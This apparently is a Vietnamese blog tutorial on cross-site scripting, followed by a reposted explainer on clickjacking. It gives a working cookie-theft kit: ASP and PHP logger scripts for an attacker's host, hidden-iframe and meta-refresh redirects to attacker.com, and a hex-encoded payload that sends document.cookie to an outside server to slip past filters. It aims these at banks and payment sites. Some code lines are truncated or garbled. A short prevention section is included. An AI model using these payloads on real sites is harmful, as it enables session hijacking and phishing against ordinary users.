TÌM HIỂU VỀ XSS
(tác giả Hackerbinhphuoc)
1.XSS là gì?

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những người sử dụng khác. Trong đó, những đoạn mã nguy hiểm đựơc chèn vào hầu hết được viết bằng các Client-Site Script như JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.
XSS là một trong những lỗi phổ biến, có rất nhiều trang web bị mắc phải lỗi này, chính vì thế ngày càng có nhiều người quan tâm đến lỗi này!
2.XSS hoạt động như thế nào?
XSS cho phép attacker chèn các đoạn mã vào link của đường dẫn, để thực thi trên trình duyệt của người dùng, dẫn đến việc mất cookies, mật khẩu, session hay fishing lừa đảo hay chèn virus... 
Thường thì XSS có dạng như sau:
http://www.xxx.com/index.php?query=<sc...;alert('bug !');</script>
Và nội dung hiện ra trên trình duyệt sẽ là: "bug!"
3. Cách khai thác lỗi XSS
Khác với các lỗi khác là gây hại trực tiếp lên hệ thống chứa web site, còn XSS lại không gây hại đến hệ thống của sever mà đối tượng tấn công chủ yếu của XSS lại là người dùng!
a. Đầu tiên ta nghiên cứu đến cách lấy cookies:
Hacker sẽ tạo ra ở host của mình một file cookie.asp có nội dung:
Code:
<% Set x = CreateObject("Scripting.FileSystemObject") Set y = x.OpenTextFile(Server.MapPath("xss.txt"), 8, true) y.WriteLine Request.QueryString("cookie") y.Close Set y = Nothing Set x = Nothing %>
hoặc file cookie.php như thế này :
Code:
<? $f = fopen("xss.txt","a"); fputs($f, $cook.chr(13)); fclose($f); ?>
và sau đó chèn vào link web bị lỗi nó sẽ có dạng:
Sau khi người dùng click vào link của bạn thì bạn chỉ việc vào file xss.txt mà xem cookies thôi!
bạn có thể lấy cookies của người dùng tuy nhiên việc sử dụng được cookies lại là một vấn đề khác, phụ thuộc vào loại cookies và cả cách login của trang web đó nữa!
b. Attacker dùng XSS để lừa đảo!
Ngoài việc lấy cookies, các attacker còn có thể hướng trình duyệt của người dùng đến trang web mà Attacker thiết kế sẵn!
Sau khi attacker đã có thông tin về lỗi XSS, họ có thể dùng IFRAME, code như sau:
Code:
<iframe src='http://www.attacker.com' width='1' height='1' style='visibility; hidden;'></iframe>
( đoạn này dùng để mở 1 trang web mà người không biết!)
hoặc:
Code:
<meta http-equiv="Refresh" content="0;url=http://www.attacker.com">
Ngoài ra bạn hoàn toàn có thể dùng hàm open, close window để chuyển hướng web sang một trang web khác bạn muốn.
Mình còn cách này hay hơn : Dùng hàm write. In ra một thẻ div đặt độ rộng là 1024, cao 800. possion : absulitly, left=0, top=0. Như vậy là cái div vừa tạo sẽ che toàn bộ màn hình, thế là người dùng đã vào trang lừa đảo của các attacker!
Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng... hoặc là chèn virus!
Attacker có thể lợi dụng lỗi này để fishing trên các Hệ thống thanh toán, game, shopping, Ngân hàng, Tín dụng...
4. Cách vượt qua cơ chế lọc ký tự:

Nhiều coder khôn khéo lọc hết các kỹ tự đặc biệt như ' hay + để tránh các việc chèn lệnh trên URL để tấn công SQL hay XSS nhưng một attacker cao tay sẽ dễ dàng giải quyết việc này bằng cách sử dụng mã hóa HEX thay thế để khai thác
Code
-----------------------------------
Hex Usage:

Code:
http://www.sitebiXSS.com/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6  f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%7 7%77%2e%63%67%69%73%65%63%75%72%69%74%79
%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6 b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%
75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72 %69%70%74%3e
---------------------------------

link site chuyển đổi:
http://www.swingnote.com/tools/txt2hex.php
5. Phát hiện XSS bằng cách nào?
Nếu như bạn sử dụng các mả nguồn có sẵn trên internet thì bạn có thể tìm các lỗi trên các trang thông báo bug, các mail list như:securityfocus.comsecuriteam.com milw0rm.com . . .
Còn nếu như bạn sử dụng mã ngu6ồn tự viết thì bạn có thể dựa vào khả năng của mình để tìm bug XSS trên code hay là dùng các chương trinh scan bug, phổ biến nhất là Acunetix.
mình xin trình bày một cách tìm thủ công mà mình sưu tầm được:
1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó . 
Cách tìm lỗi để cho rõ ràng thì các chuyên gia bảo mật chia làm 7 bước nhưng theo tôi nên chia thành 5 bước : Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi ) 
Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ "XSS" chẳng hạn hay chữ gì cũng được . 
Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về : Ví dụ bạn thấy như thế này : · "Your search for 'XSS' did not find any items" · "Your search for 'XSS' returned the following results" · "User 'XSS' is not valid" · "Invalid login 'XSS'" hoặc là cái gì đó mà có dính tới chữ "XSS" mà bạn nhập vào ban đầu thì 99% "Alert" này bị XSS còn vài hình thức thử nữa tôi cũng xin trình bày luôn :
+ Chú ý các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào . Hãy thử với những script này : < script>alert('XSS')< /script> hoặc <i*g csstest=java script:alert('XSS')> hoặc &{alert('XSS')};
Bước 4 : Chèn code thực sự vào nơi bị lỗi : chèn cái này < script>alert('XSS')< /script> vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ "XSS" thì "Alert" này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem . Khi view sources nhớ kiếm dòng này< script>alert('Mask_NBTA')< /script> , nếu có thì hết chạy , XSS đây rồi . 
Một ví dụ khác thường gặp hơn : 
Gọi http://sitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/index.php?page=<s...< script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS . Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi .
6. Ngăn ngừa XSS như thế nào?
Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng ngôn nhữ PHP, đặc biệt nó được thiết kế để phòng chống các lỗi XSS. Bạn có thể lấy mã nguồn chương trình từ http://www.mricon.com/html/phpfilter.html Lọc và mã hoá các dữ liệu cho vấn là cách tốt nhất để chống XSS nhưng nếu bạn đang sử dụng mod_perl trên Apache Server thì bạn có thể dùng ngay module Apache::TaintRequest. Khi đó mã nguồn chương trình sẽ có dạng : 
Code:
use Apache::TaintRequest;

my $apr = Apache::TaintRequest->new(Apache->request);
my $text = $apr->param('text');

$r->content_type("text/html");
$r->send_http_header;

$text =~ s/[^A-Za-z0-9 ]//;
$r->print("You entered ", $text);
7. Các bug về XSS và các trang từng bị XSS:
Tôi xin giới thiệu với các bạn vài bug về XSS:
1.BUG MALL SHOPPING CART 2.5
http://www.site.com/BugMallPAth/index.php?msgs=[HTML, JAVASCRIPT]
2.Adobe Acrobat Reader Plugin <= 7.0.x (acroreader) XSS Vulnerability
http://[host]/[filename].pdf#[some text]=java script: Code
3. xss2phishing
http://www.milw0rm.com/papers/138
4. XSS Attacks FAQ
http://www.milw0rm.com/papers/69
-----------------------------
Bài viết sử dụng các tài liệu trên internet và VHS, HVA
-----------------------------

Hiện tại kỹ thuật này được dùng phổ biến khi tấn công các mạng xã hội ảo, ở Việt Nam thì có zing, ttvn, tamtay,blog.com.vn . . .
ở thế giới hình thức tấn công này được biết đến nhiều là vụ 360.yahoo.com bị tấn công làm mất nhiều acc của người dùng!
Hiện nay trên thế giới phổ biến hình thức Xss worm, đây là 1 đoạn mã độc viết bằng javascript! chúng ta sẽ tìm hiểu sau!
xem định nghĩa ở đây:
http://en.wikipedia.org/wiki/XSS_Worm
thêm vài bài viết về nó:
http://ha.ckers.org/xss-worms/
một tài liệu khá hay trên Milw0rm
http://www.milw0rm.com/papers/281
--------------------------------------

Thông tin thêm về 1 dạng giống như XSS là clickjacking:
http://blog.guya.net/2008/10/07/malicious-camera-spying-using-clickjacking/

Clickjacking – Phương pháp tấn công máy tính từ website

Chương trình đào tạo chuyên viên an ninh an toàn thông tin Security Plus của cổng đào tạo trực tuyến VietnamLearning sẽ giới thiệu tới các bạn một hình thức tấn công tinh vi của virus thông qua 1 cú click chuột trên website.
Theo đúng định nghĩa của giới bảo mật toàn cầu, “clickjacking” là kỹ thuật tấn công “bắt cóc cú nhắp chuột” của người dùng khi họ thao tác trên trang web hiển thị trên nền trình duyệt. Kỹ thuật tấn công này còn được gọi bằng tên “bắt cóc trang web” (Hijacking webpage).

Cụ thể, tin tặc sẽ tấn công chiếm quyền điều khiển một trang web nào đó rồi gắn lên đây một lớp (layer) vô hình. Lớp vô hình này có thể bao trùm toàn bộ trang web hay chỉ chiếm một diện tích rất nhỏ nhưng lúc nào cũng di chuyển và nằm ngay dưới con trỏ chuột của người dùng.

Như vậy, khi người dùng nhắp chuột vào bất kỳ một điểm nào trên trang web, thì cũng có nghĩa họ đã nhắp chuột đồng ý kích hoạt mã độc của tin tặc. Thông thường mã tấn công mà tin tặc gắn lên sẽ dẫn người dùng truy cập đến những trang web độc hại để giúp tin tặc chủ động tấn công lây nhiễm mã độc lên PC của người dùng.
Vì vậy các bạn cần hết sức thận trọng khi truy cập vào những trang web lạ.
Nguồn: VietnamLearning.vn

Đăng nhận xét